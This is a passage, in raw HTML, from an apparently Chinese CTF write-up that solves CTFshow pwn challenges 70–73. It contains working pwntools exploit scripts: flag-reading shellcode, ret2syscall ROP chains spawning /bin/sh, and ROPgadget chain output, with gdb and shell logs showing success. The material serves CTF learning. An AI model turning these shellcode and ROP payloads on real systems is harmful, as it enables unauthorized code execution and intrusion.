class="string">&#x27;pwn.chalenge.ctf.show&#x27;</span>,<span class="number">28120</span>)</span><br><span class="line">shellcode=<span class="string">b&#x27;\x00\xc0&#x27;</span></span><br><span class="line">shellcode+=asm(shellcraft.cat(<span class="string">&#x27;flag&#x27;</span>)) <span class="comment">#生成读取flag文件shellcode</span></span><br><span class="line">io.recvuntil(<span class="string">b&quot;Welcome,tell me your name:&quot;</span>)</span><br><span class="line">io.sendline(shellcode)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><h6 id="解二-ORW-："><a href="#解二-ORW-：" class="headerlink" title="解二(ORW)："></a>解二(ORW)：</h6><p>用汇编的原因是read会把flag读取到栈顶,write要在栈顶上读取然后写入到输出,如果是用shellcraft无法操作到栈顶</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(os=<span class="string">&#x27;linux&#x27;</span>,arch=<span class="string">&#x27;amd64&#x27;</span>)</span><br><span class="line"><span class="comment">#io = process(&#x27;./pwn&#x27;)</span></span><br><span class="line">io = remote(<span class="string">&#x27;pwn.challenge.ctf.show&#x27;</span>,<span class="number">28120</span>)</span><br><span class="line">shellcode = <span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">#调用open()</span></span><br><span class="line"><span class="string">push 0 </span></span><br><span class="line"><span class="string">#绕过strlen()检查</span></span><br><span class="line"><span class="string">mov r15, 0x67616c66  #将字符串&#x27;flag&#x27;的ASCII码放入r15寄存器</span></span><br><span class="line"><span class="string">push r15             #将r15寄存器中的值推入栈顶，作为文件名参数</span></span><br><span class="line"><span class="string">mov rdi, rsp         #将栈顶指针移入rdi寄存器，作为第一个参数（文件名）</span></span><br><span class="line"><span class="string">mov rsi, 0           #将0移入rsi寄存器，作为第二个参数（只读模式）</span></span><br><span class="line"><span class="string">mov rax, 2           #将系统调用号2（sys_open）移入rax寄存器</span></span><br><span class="line"><span class="string">syscall              </span></span><br><span class="line"><span class="string">#调用read()</span></span><br><span class="line"><span class="string">mov r14, 3           #将文件描述符3移入r14寄存器（通常是标准输入）</span></span><br><span class="line"><span class="string">mov rdi, r14         #将r14寄存器的值移入rdi寄存器，作为第一个参数（文件描述符）</span></span><br><span class="line"><span class="string">mov rsi, rsp         #将栈顶指针移入rsi寄存器，作为第二个参数（缓冲区）</span></span><br><span class="line"><span class="string">mov rdx, 0xff        #将0xff移入rdx寄存器，作为第三个参数（缓冲区大小）</span></span><br><span class="line"><span class="string">mov rax, 0           #将系统调用号0（sys_read）移入rax寄存器</span></span><br><span class="line"><span class="string">syscall</span></span><br><span class="line"><span class="string">#调用write()</span></span><br><span class="line"><span class="string">mov rdi,1            # 将1移入rdi寄存器，作为第一个参数（文件描述符，标准输出）</span></span><br><span class="line"><span class="string">mov rsi, rsp         # 将栈顶指针移入rsi寄存器，作为第二个参数（缓冲区）</span></span><br><span class="line"><span class="string">mov rdx, 0xff        # 将0xff移入rdx寄存器，作为第三个参数（要写入的字节数）</span></span><br><span class="line"><span class="string">mov rax, 1           # 将系统调用号1（sys_write）移入rax寄存器</span></span><br><span class="line"><span class="string">syscall</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line">payload = asm(shellcode)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Opening connection to pwn.challenge.ctf.show on port 28120: Done</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">ctfshow&#123;ba63d73f-2089-4a82-abf9-41f8e47b418d&#125;</span><br><span class="line"><span class="built_in">timeout</span>: the monitored <span class="built_in">command</span> dumped core</span><br><span class="line">[*] Got EOF <span class="keyword">while</span> reading <span class="keyword">in</span> interactive</span><br><span class="line">$</span><br></pre></td></tr></table></figure><h2 id="pwn71"><a href="#pwn71" class="headerlink" title="pwn71"></a>pwn71</h2><h6 id="Hint：32位的ret2syscall"><a href="#Hint：32位的ret2syscall" class="headerlink" title="Hint：32位的ret2syscall"></a>Hint：32位的ret2syscall</h6><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn &amp;&amp; file pwn</span><br><span class="line">  Arch:       i386-32-little</span><br><span class="line">  RELRO:      Partial RELRO</span><br><span class="line">  Stack:      No canary found</span><br><span class="line">  NX:         NX enabled</span><br><span class="line">  PIE:        No PIE (0x8048000)</span><br><span class="line">  Stripped:   No</span><br><span class="line">  Debuginfo:  Yes</span><br><span class="line">pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, <span class="keyword">for</span> GNU/Linux 2.6.24, BuildID[sha1]=2bff0285c2706a147e7b150493950de98f182b78, with debug_info, not stripped</span><br></pre></td></tr></table></figure><p>32位关闭栈保护与PIE，同时能看出是静态编译</p><p>IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> v4; <span class="comment">// [esp+1Ch] [ebp-64h] BYREF</span></span><br><span class="line"></span><br><span class="line">  setvbuf(<span class="built_in">stdout</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  setvbuf(<span class="built_in">stdin</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;===============CTFshow--PWN===============&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Try to use ret2syscall!&quot;</span>);</span><br><span class="line">  gets(&amp;v4);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>题目描述以及各处都提示了让用ret2syscall来进行攻击，我们可以利用程序中的gadgets 来获得shell，而对应的 shell 获取则是利用系统调用。</p><p>简单地说，只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中，那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line">execve(<span class="string">&quot;/bin/sh&quot;</span>,NULL,NULL)</span><br></pre></td></tr></table></figure><p>其中，该程序是 32 位，所以我们需要使得</p><ul><li><p>系统调用号，即 eax 应该为 0xb</p></li><li><p>第一个参数，即 ebx 应该指向 &#x2F;bin&#x2F;sh 的地址，其实执行 sh 的地址也可以。</p></li><li><p>第二个参数，即 ecx 应该为 0</p></li><li><p>第三个参数，即 edx 应该为 0</p></li></ul><p>找一下控制eax,ebx的gadget：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ROPgadget --binary pwn --only <span class="string">&#x27;pop|ret&#x27;</span> | grep <span class="string">&#x27;eax&#x27;</span></span><br><span class="line">0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret</span><br><span class="line">0x080bb196 : pop eax ; ret</span><br><span class="line">0x0807217a : pop eax ; ret 0x80e</span><br><span class="line">0x0804f704 : pop eax ; ret 3</span><br><span class="line">0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret</span><br><span class="line"></span><br><span class="line">$ ROPgadget --binary pwn --only <span class="string">&#x27;pop|ret&#x27;</span> | grep <span class="string">&#x27;ebx&#x27;</span></span><br><span class="line">0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret</span><br><span class="line">0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret</span><br><span class="line">0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret</span><br><span class="line">0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret</span><br><span class="line">0x080be23f : pop ebx ; pop edi ; ret</span><br><span class="line">0x0806eb69 : pop ebx ; pop edx ; ret</span><br><span class="line">0x08092258 : pop ebx ; pop esi ; pop ebp ; ret</span><br><span class="line">0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret</span><br><span class="line">0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10</span><br><span class="line">0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14</span><br><span class="line">0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc</span><br><span class="line">0x08048547 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4</span><br><span class="line">0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8</span><br><span class="line">0x08048913 : pop ebx ; pop esi ; pop edi ; ret</span><br><span class="line">0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4</span><br><span class="line">0x08049a94 : pop ebx ; pop esi ; ret</span><br><span class="line">0x080481c9 : pop ebx ; ret</span><br><span class="line">0x080d7d3c : pop ebx ; ret 0x6f9</span><br><span class="line">0x08099c87 : pop ebx ; ret 8</span><br><span class="line">0x0806eb91 : pop ecx ; pop ebx ; ret</span><br><span class="line">0x0806336b : pop edi ; pop esi ; pop ebx ; ret</span><br><span class="line">0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret</span><br><span class="line">0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret</span><br><span class="line">0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret</span><br><span class="line">0x0805c820 : pop esi ; pop ebx ; ret</span><br><span class="line">0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret</span><br><span class="line">0x0807b6ed : pop ss ; pop ebx ; ret</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>这里，可以选择：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret</span><br></pre></td></tr></table></figure><p>这个可以直接控制其它三个寄存器。</p><p>此外，我们需要获得 &#x2F;bin&#x2F;sh 字符串对应的地址</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ROPgadget --binary pwn --string <span class="string">&#x27;/bin/sh&#x27;</span></span><br><span class="line">Strings information</span><br><span class="line">============================================================</span><br><span class="line">0x080be408 : /bin/sh</span><br><span class="line"></span><br><span class="line">$ ROPgadget --binary pwn --only <span class="string">&#x27;int&#x27;</span></span><br><span class="line">Gadgets information</span><br><span class="line">============================================================</span><br><span class="line">0x08049421 : int 0x80</span><br><span class="line">0x080890b5 : int 0xcf</span><br><span class="line"></span><br><span class="line">Unique gadgets found: 2</span><br></pre></td></tr></table></figure><p>将其整合至一起即可完成我们的利用了：</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line">payload = flat([<span class="string">b&#x27;A&#x27;</span> * <span class="number">112</span>,pop_eax_ret,<span class="number">0xb</span>,pop_edx_ecx_ebx_ret, <span class="number">0</span>, <span class="number">0</span>,binsh, int_0x80])</span><br><span class="line"><span class="comment">#同样的，这里也可以根据自己的个人习惯换一种写法：</span></span><br><span class="line">payload = cyclic(<span class="number">112</span>) + p32(pop_eax_ret) + p32(<span class="number">0xb</span>) + p32(pop_edx_ecx_ebx_ret) + p32(<span class="number">0</span>) + p32(<span class="number">0</span>) + p32(binsh) + p32(int_0x80)</span><br></pre></td></tr></table></figure><p>偏移量ida不准,调试一下</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ gdb pwn</span><br><span class="line">pwndbg&gt; r</span><br><span class="line">^c</span><br><span class="line">pwndbg&gt; cyclic 500</span><br><span class="line">aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae</span><br><span class="line">pwndbg&gt; c</span><br><span class="line">Continuing.</span><br><span class="line">aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae</span><br><span class="line">...</span><br><span class="line">*EIP  0x64616162 (<span class="string">&#x27;daab&#x27;</span>)</span><br><span class="line">...</span><br><span class="line">pwndbg&gt; cyclic -l daab</span><br><span class="line">Finding cyclic pattern of 4 bytes: b<span class="string">&#x27;daab&#x27;</span> (hex: 0x64616162)</span><br><span class="line">Found at offset 112</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch = <span class="string">&#x27;i386&#x27;</span>,os = <span class="string">&#x27;linux&#x27;</span>,log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io=process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">pop_eax_ret=<span class="number">0x080bb196</span></span><br><span class="line">pop_edx_ecx_ebx_ret=<span class="number">0x0806eb90</span></span><br><span class="line">binsh=<span class="number">0x080be408</span></span><br><span class="line">int_0x80=<span class="number">0x08049421</span></span><br><span class="line">payload = flat([<span class="string">b&#x27;A&#x27;</span> * <span class="number">112</span>,pop_eax_ret,<span class="number">0xb</span>,pop_edx_ecx_ebx_ret, <span class="number">0</span>, <span class="number">0</span>,binsh, int_0x80])</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 350</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">===============CTFshow--PWN===============</span><br><span class="line">Try to use ret2syscall!</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line">ctfshow_flag</span><br></pre></td></tr></table></figure><h2 id="pwn72"><a href="#pwn72" class="headerlink" title="pwn72"></a>pwn72</h2><h6 id="Hint：接着练ret2syscall，多系统函数调用"><a href="#Hint：接着练ret2syscall，多系统函数调用" class="headerlink" title="Hint：接着练ret2syscall，多系统函数调用"></a>Hint：接着练ret2syscall，多系统函数调用</h6><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn &amp;&amp; file pwn</span><br><span class="line">  Arch:       i386-32-little</span><br><span class="line">  RELRO:      Partial RELRO</span><br><span class="line">  Stack:      No canary found</span><br><span class="line">  NX:         NX enabled</span><br><span class="line">  PIE:        No PIE (0x8048000)</span><br><span class="line">  Stripped:   No</span><br><span class="line">pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, <span class="keyword">for</span> GNU/Linux 2.6.24, BuildID[sha1]=c06741f25faef9ff5996e7c0cbdad362f43ce572, not stripped  </span><br></pre></td></tr></table></figure><p>32位关闭栈保护与PIE,静态编译</p><p>32位IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> v4; <span class="comment">// [esp+10h] [ebp-20h] BYREF</span></span><br><span class="line"></span><br><span class="line">  setvbuf(<span class="built_in">stdout</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  setvbuf(<span class="built_in">stdin</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;CTFshow-PWN&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;where is my system?&quot;</span>);</span><br><span class="line">  gets(&amp;v4);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Emmm&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>依据上一题的做法，发现程序中并没有了“&#x2F;bin&#x2F;sh”字符串：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ROPgadget --binary pwn --string <span class="string">&#x27;/bin/sh&#x27;</span></span><br><span class="line">Strings information</span><br><span class="line">============================================================</span><br></pre></td></tr></table></figure><p>由于是静态编译，找一下程序中是否有read函数：</p><p><img src="/../../../../images/image-20250730125435820.png" alt="image-20250730125435820"></p><p>确实是有的。那么我们就得利用read函数来进行手动写入“&#x2F;bin&#x2F;sh”字符串。</p><ol><li><p>构造payload可以使用read函数，在内存地址中读取之后用户输入的&#x2F;bin&#x2F;sh 先找到 eax，ebx，ecx，edx 以及 int 0x80 的地址</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ROPgadget --binary pwn --only <span class="string">&#x27;pop|ret&#x27;</span> | grep <span class="string">&#x27;eax&#x27;</span></span><br><span class="line">0x080bb2c6 : pop eax ; ret</span><br><span class="line"></span><br><span class="line">$ ROPgadget --binary pwn --only <span class="string">&#x27;pop|ret&#x27;</span> | grep <span class="string">&#x27;ebx&#x27;</span></span><br><span class="line">0x0806ecb0 : pop edx ; pop ecx ; pop ebx ; ret</span><br><span class="line"></span><br><span class="line">$ ROPgadget --binary pwn --only <span class="string">&#x27;int&#x27;</span></span><br><span class="line">Gadgets information</span><br><span class="line">============================================================</span><br><span class="line">0x08049421 : int 0x80</span><br><span class="line"><span class="comment">#找到的这个 int 0x80 无法使用，因为没有 ret 无法执行后面的系统调用</span></span><br><span class="line">$ ROPgadget --binary pwn --multibr --depth=3 | grep -A2 <span class="string">&#x27;int 0x80&#x27;</span> | grep <span class="string">&#x27;ret&#x27;</span></span><br><span class="line">0x0806f350 : int 0x80 ; ret</span><br><span class="line"><span class="comment">#这个才对</span></span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment">#这个也可以</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">rop = ROP(elf)</span><br><span class="line"><span class="comment"># 搜索int 0x80; ret</span></span><br><span class="line">int_ret = rop.find_gadget([<span class="string">&#x27;int 0x80&#x27;</span>, <span class="string">&#x27;ret&#x27;</span>]).address</span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;Found int 0x80; ret at 0x<span class="subst">&#123;int_ret:x&#125;</span>&quot;</span>)</span><br></pre></td></tr></table></figure></li><li><p>对eax，ebx，ecx，edx填充read函数的参数（在bss段找到一个有权限的地址，带入到ebx中）</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">pwndbg&gt; vmmap</span><br><span class="line">LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA</span><br><span class="line">     Start        End Perm     Size  Offset File (<span class="built_in">set</span> vmmap-prefer-relpaths on)</span><br><span class="line"> 0x8048000  0x80e9000 r-xp    a1000       0 pwn</span><br><span class="line"> 0x80e9000  0x80eb000 rw-p     2000   a0000 pwn</span><br><span class="line"> 0x80eb000  0x80ed000 rw-p     2000       0 [anon_080eb]</span><br><span class="line"> 0x90eb000  0x910d000 rw-p    22000       0 [heap]</span><br><span class="line">0xf1d87000 0xf1d88000 rw-p     1000       0 [anon_f1d87]</span><br><span class="line">0xf1d88000 0xf1d8c000 r--p     4000       0 [vvar]</span><br><span class="line">0xf1d8c000 0xf1d8e000 r-xp     2000       0 [vdso]</span><br><span class="line">0xffcfe000 0xffd1f000 rw-p    21000       0 [stack]</span><br></pre></td></tr></table></figure><p>0x80eb000作为存储&#x2F;bin&#x2F;sh的位置</p></li><li><p>再次对eax,ebx,ecx,edx填充，这次使用execve函数，执行之前read函数读取的内容所在的地址内的值 即”&#x2F;bin&#x2F;sh\x00”</p></li><li><p>执行payload，进行溢出，再次向程序中发送数据 即“&#x2F;bin&#x2F;sh\x00”</p></li></ol><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch = <span class="string">&#x27;i386&#x27;</span>,os = <span class="string">&#x27;linux&#x27;</span>,log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line"><span class="comment">#io = remote(&#x27;pwn.challenge.ctf.show&#x27;,28183)</span></span><br><span class="line">pop_eax = <span class="number">0x080bb2c6</span></span><br><span class="line">pop_edx_ecx_ebx = <span class="number">0x0806ecb0</span></span><br><span class="line">bss = <span class="number">0x080eb000</span></span><br><span class="line">int_0x80 = <span class="number">0x0806F350</span></span><br><span class="line">payload = <span class="string">b&quot;a&quot;</span>*<span class="number">44</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#调用read(0, bss, 0x10)</span></span><br><span class="line">payload += p32(pop_eax)+p32(<span class="number">0x3</span>)<span class="comment"># 设置eax=3 (read系统调用号)</span></span><br><span class="line">payload += p32(pop_edx_ecx_ebx)+p32(<span class="number">0x10</span>)+p32(bss)+p32(<span class="number">0</span>) <span class="comment"># edx=0x10(读取长度,确保&quot;/bin/sh\x00&quot;字符串能完整存储,且有余量，满足内存对齐), ecx=bss(缓冲区地址), ebx=0(stdin)</span></span><br><span class="line">payload += p32(int_0x80) <span class="comment"># 执行int 0x80触发系统调用</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#调用execve(&quot;/bin/sh&quot;, NULL, NULL)</span></span><br><span class="line">payload += p32(pop_eax)+p32(<span class="number">0xb</span>)<span class="comment"># 设置eax=0xb (execve系统调用号)</span></span><br><span class="line">payload += p32(pop_edx_ecx_ebx)+p32(<span class="number">0</span>)+p32(<span class="number">0</span>)+p32(bss)<span class="comment"># edx=0(环境变量), ecx=0(参数数组), ebx=bss(&quot;/bin/sh&quot;地址)</span></span><br><span class="line">payload += p32(int_0x80)<span class="comment"># 执行int 0x80触发系统调用</span></span><br><span class="line"></span><br><span class="line">io.sendline(payload)</span><br><span class="line">bin_sh = <span class="string">b&quot;/bin/sh\x00&quot;</span><span class="comment"># 加 \x00 截断，不然会把换行符也当参数读进去了</span></span><br><span class="line">io.sendline(bin_sh)<span class="comment">#最终程序执行 /bin/sh，获得 shell</span></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 425</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">CTFshow-PWN</span><br><span class="line"><span class="built_in">where</span> is my system?</span><br><span class="line">Emmm</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line">ctfshow_flag</span><br></pre></td></tr></table></figure><h2 id="pwn73"><a href="#pwn73" class="headerlink" title="pwn73"></a>pwn73</h2><h6 id="Hint：愉快的尝试一下一把梭吧"><a href="#Hint：愉快的尝试一下一把梭吧" class="headerlink" title="Hint：愉快的尝试一下一把梭吧!"></a>Hint：愉快的尝试一下一把梭吧!</h6><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn &amp;&amp; file pwn</span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stripped:   No</span><br><span class="line">pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, <span class="keyword">for</span> GNU/Linux 2.6.32, BuildID[sha1]=4141b1e04d2e7f1623a4b8923f0f87779c0827ee, not stripped</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>32位开启NX，部分开启RELRO</p><p>拖进IDA发现特别多函数，file查看一下，确定是静态编译</p><p>IDA查看main函数，跟进漏洞函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> egid; <span class="comment">// [esp+Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  setvbuf(<span class="built_in">stdout</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  egid = getegid();</span><br><span class="line">  setresgid(egid, egid, egid);</span><br><span class="line">  show();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">int</span> <span class="title function_">show</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  _BYTE v1[<span class="number">24</span>]; <span class="comment">// [esp+0h] [ebp-18h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Try to Show-hand!!&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> gets(v1);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>还是明显的栈溢出，但是由于是静态编译，我们无法再使用ret2libc来进行get shell</p><p>程序中也没有system函数，我们可以尝试直接使用ROPgadget来帮助我们构造一个ROP链：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ROPgadget --binary pwn --ropchain</span><br><span class="line">ROP chain generation</span><br><span class="line">===========================================================</span><br><span class="line"></span><br><span class="line">- Step 1 -- Write-what-where gadgets</span><br><span class="line"></span><br><span class="line">[+] Gadget found: 0x8051035 mov dword ptr [esi], edi ; pop ebx ; pop esi ; pop edi ; ret</span><br><span class="line">[+] Gadget found: 0x8048433 pop esi ; ret</span><br><span class="line">[+] Gadget found: 0x8048480 pop edi ; ret</span><br><span class="line">[-] Can<span class="string">&#x27;t find the &#x27;</span>xor edi, edi<span class="string">&#x27; gadget. Try with another &#x27;</span>mov [r], r<span class="string">&#x27;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">[+] Gadget found: 0x80549db mov dword ptr [edx], eax ; ret</span></span><br><span class="line"><span class="string">[+] Gadget found: 0x806f02a pop edx ; ret</span></span><br><span class="line"><span class="string">[+] Gadget found: 0x80b81c6 pop eax ; ret</span></span><br><span class="line"><span class="string">[+] Gadget found: 0x8049303 xor eax, eax ; ret</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">- Step 2 -- Init syscall number gadgets</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">[+] Gadget found: 0x8049303 xor eax, eax ; ret</span></span><br><span class="line"><span class="string">[+] Gadget found: 0x807a86f inc eax ; ret</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">- Step 3 -- Init syscall arguments gadgets</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">[+] Gadget found: 0x80481c9 pop ebx ; ret</span></span><br><span class="line"><span class="string">[+] Gadget found: 0x80de955 pop ecx ; ret</span></span><br><span class="line"><span class="string">[+] Gadget found: 0x806f02a pop edx ; ret</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">- Step 4 -- Syscall gadget</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">[+] Gadget found: 0x806cc25 int 0x80</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">- Step 5 -- Build the ROP chain</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">#!/usr/bin/env python3</span></span><br><span class="line"><span class="string"># execve generated by ROPgadget</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">from struct import pack</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"># Padding goes here</span></span><br><span class="line"><span class="string">p = b&#x27;</span><span class="string">&#x27;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">p += pack(&#x27;</span>&lt;I<span class="string">&#x27;, 0x0806f02a) # pop edx ; ret</span></span><br><span class="line"><span class="string">p += pack(&#x27;</span>&lt;I<span class="string">&#x27;, 0x080ea060) # @ .data</span></span><br><span class="line"><span class="string">p += pack(&#x27;</span>&lt;I<span class="string">&#x27;, 0x080b81c6) # pop eax ; ret</span></span><br><span class="line"><span class="string">p += b&#x27;</span>/bin<span 